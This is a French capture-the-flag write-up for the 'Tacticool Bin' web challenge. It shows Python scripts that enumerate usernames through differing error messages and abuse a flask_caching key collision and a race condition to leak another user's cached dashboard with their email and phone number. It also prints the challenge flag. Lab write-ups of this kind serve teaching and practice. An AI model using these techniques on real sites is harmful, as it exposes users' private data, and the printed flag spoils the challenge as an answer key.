Tacticool Bin

Flag: ECW{L4Rry-1333333337-tulat.on}

Challenge

11KB
Ouvrir

Description


'I only had one job ! Reading Larry's message at 6:00 on this pastebin like website.' That's what you said to yourself whilst calmly waking up at 9:30. Find another way to get in touch with Larry !

Thankfully, the app is opensourced. You only know Larry uses his own name as a username and loves l33TsP34k , glhf.

Flag is in the format : ECW{username-phone_number-domain_name_of_his_email}

Challenge made by:

Solution

Nom d'utilisateur

Première étape : trouver le nom d'utilisateur de Larry. Pour ça, on va utiliser du Python pour bruteforce les comptes existants.

Donc pour ça, il faut trouver un endpoint qui permette de savoir si un nom d'utilisateur existe.

Et ça tombe bien, dans le code source (app.py), en faisant une requête sur /dashboard/<username> on peut avoir 2 messages de retour possible :

  • username existant : Stop trying to access other users dashboards or face consequences !

  • username inconnu : You shouldn't access another user's dashboard. =(

@app.route('/dashboard/<username>')
#User's page is static, might as well keep it cached forever ¯\_(ツ)_/¯, however, made sure anyone can't just see someone elses profile by path traversal-ing, this would be bad RIGHT ? 
@cache.cached(timeout=0, unless=unauthorized)
@login_required
def dashboard(username):
    
	user = User.query.filter_by(username=username).first()
      
	if not user:
		flash("Stop trying to access other users dashboards or face consequences !")
		return redirect(url_for('errorpage'))

	if user.id != current_user.id:
		flash("You shouldn't access another user's dashboard. =(")
		flash("User " + user.username + " has been alerted.")
		return redirect(url_for('errorpage'))
      
	return render_template('dashboard.html', name=current_user.username, email=current_user.email, phone=current_user.phone)

Il faut juste être connecté. Donc ici j'ai créé le compte ThaySan:password auparavant.

On sait qu'il utilise du LeetSpeak, je pars donc sur la lib pyleetspeak pour générer toutes les possibilités.

from requests import Session
from bs4 import BeautifulSoup
from pyleetspeak.LeetSpeaker import LeetSpeaker

HOST = "challenges.challenge-ecw.eu"
PORT = 34996
URL = f"http://{HOST}:{PORT}"

USERNAME = "ThaySan"
PASSWORD = "password"


def login(session: Session, username: str, password: str):
    data = {"username": username, "password": password}
    session.post(f"{URL}/login", data=data, allow_redirects=False)

def get_dashboard(session: Session, username: str):
    return BeautifulSoup(session.get(f"{URL}/dashboard/{username}").text, 'html.parser').find('li').text


session = Session()
login(session, USERNAME, PASSWORD)


ADMIN_USERNAME = "larry"
leeter = LeetSpeaker(
    mode="basic",
    get_all_combs=True,
    user_changes = [("l", "L"), ("r", "R"), ("y", "Y")],
)
for username in leeter.text2leet(ADMIN_USERNAME):
    if get_dashboard(session, username).startswith("Stop trying"):
        continue
    print(f"FOUND: {username}")
    break
FOUND: L4Rry

Récupérer son dashboard

On reste un peu sur l'endpoint du dahsboard. Il y a un decorateur @cache.cached. Cela veut dire que le dashboard de Larry est toujours en cache.

Autre chose, quand on poste un message, le titre du message est ajouté au cache ET dans la message_list. Le truc, c'est qu'il y a un décalage de 0.5s entre la mise à jour de l'un et l'autre.

#POST logic
if request.method == 'POST':
data = request.get_json()

for item in message_list:
  if data.get('title') == item.get('title'):
    return 'Title already in use !', 418

message_list.append({"title": data.get('title'), "ttl": data.get('ttl'), "creation": int(time.time())})

time.sleep(0.5) # Lil delay on the request for better user experience 💅

cache.set(data.get('title'), data.get('message'), timeout=data.get('ttl'))
return "Ok"

Egalement, quand on récupère la liste des messages, c'est la message_list qui est utilisée pour itérer mais le contenu est celui présent dans le cache.

sent_list = []
for item_dict in message_list:
  ttl = item_dict.get('ttl')
  creation = item_dict.get('creation')
  sent_list.append({"title": item_dict.get('title'), "message": cache.get(item_dict.get('title')), "ttl": item_dict.get('ttl') + item_dict.get('creation')-int(time.time())})

Donc si le titre de notre message est le même que la clé cache du dashboard de Larry, on a 0.5s pour récupérer son contenu (celui en cache) avant qu'il ne soit écrasé par le contenu de notre message.

Un petit tour sur ChatGPT ou la doc de flask_caching nous permet de savoir que la clé cache utilisée par défaut est view/<request.path>

Autrement dit, il faut envoyer un message avec le titre view//dashboard/L4Rry (oui oui, 2 slash) et récupérer la liste des message dans les 0.5s avant que le cache ne soit écrasé.

from time import sleep
import requests
from threading import Thread
from bs4 import BeautifulSoup

HOST = "challenges.challenge-ecw.eu"
PORT = 35000
URL = f"http://{HOST}:{PORT}"


def inject_message_list():
    requests.post(f"{URL}/", json={"title":"view//dashboard/L4Rry","message":"adezq","ttl":2})

def get_message_list():
    soup = BeautifulSoup(requests.get(f"{URL}/").text, 'html.parser')
    return soup.prettify('ascii', formatter='html').decode('unicode-escape') # juste pour un bel affichage

Thread(target=inject_message_list).start()
sleep(0.4) # Pour être sûr que notre requête a été traitée
print(get_message_list())
[...]
    // messages are dynamically generated by the flask app and imported using jinja, see https://stackoverflow.com/questions/15321431/how-to-pass-a-list-from-python-by-jinja2-to-javascript/53952147#53952147
    const messages = [{"message": "Use our tool to anonymously emit any messages to everyone.  - - - - - - - - - - - Messages are only kept in cache for the TTL duration, it is safely deleted and overwritten after that. - - - - - - - -   Due to the increased number of users using our tool, user pages etc... are still under developement.", "title": "ABOUT", "ttl": -16537927}, {"message": "Even if there where rules... You probably wouldn't follow them", "title": "RULES", "ttl": -16537927}, {"message": "RHJvbmVzIGFyZSBvbiB0aGVpciB3YXkgdG8gdXIgc2VjcmV0IHBvc2l0aW9uLCBjYW4ndCBzdGF0ZSBtb3JlIEJERy0xMzM3IA==", "title": "RHJvbmUgcmFpZA==", "ttl": 426}, {"message": "wth ? poeple use this for confidential stuff ? Imma scrap dat eheh", "title": "test", "ttl": 381}, {"message": "Sweet !!!! What's in my message bro ?", "title": "Nice !!!!", "ttl": 6}, {"message": "Nice !!!! What's in my message bro ?", "title": "Sweet !!!!", "ttl": 26}, {"message": "Sweet !!!!! What's in my message bro ?", "title": "Nice !!!!!", "ttl": 46}, {"message": "Nice !!!!! What's in my message bro ?", "title": "Sweet !!!!!", "ttl": 66}, {"message": "<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>TACTICOOL BIN - Dashboard</title>
  <link rel="stylesheet" type="text/css" href="/static/css/login.css">
  <link href="https://fonts.googleapis.com/css2?family=Roboto+Mono&display=swap" rel="stylesheet">
</head>
<body style="flex-direction: column;">
    <h2>Welcome, L4Rry!</h2>

    <h2>Your email is [email protected]!</h2>


        <h2>Your phone number is 1333333337!</h2>

    <a href="/logout">Logout</a>
</body>
", "title": "view//dashboard/L4Rry", "ttl": 1}];
    for (const item of messages){
      addMessage(item.title, item.message, item.ttl);
    }
 </script>
</html>

On a toutes les infos pour former le flag.

Mis à jour

Ce contenu vous a-t-il été utile ?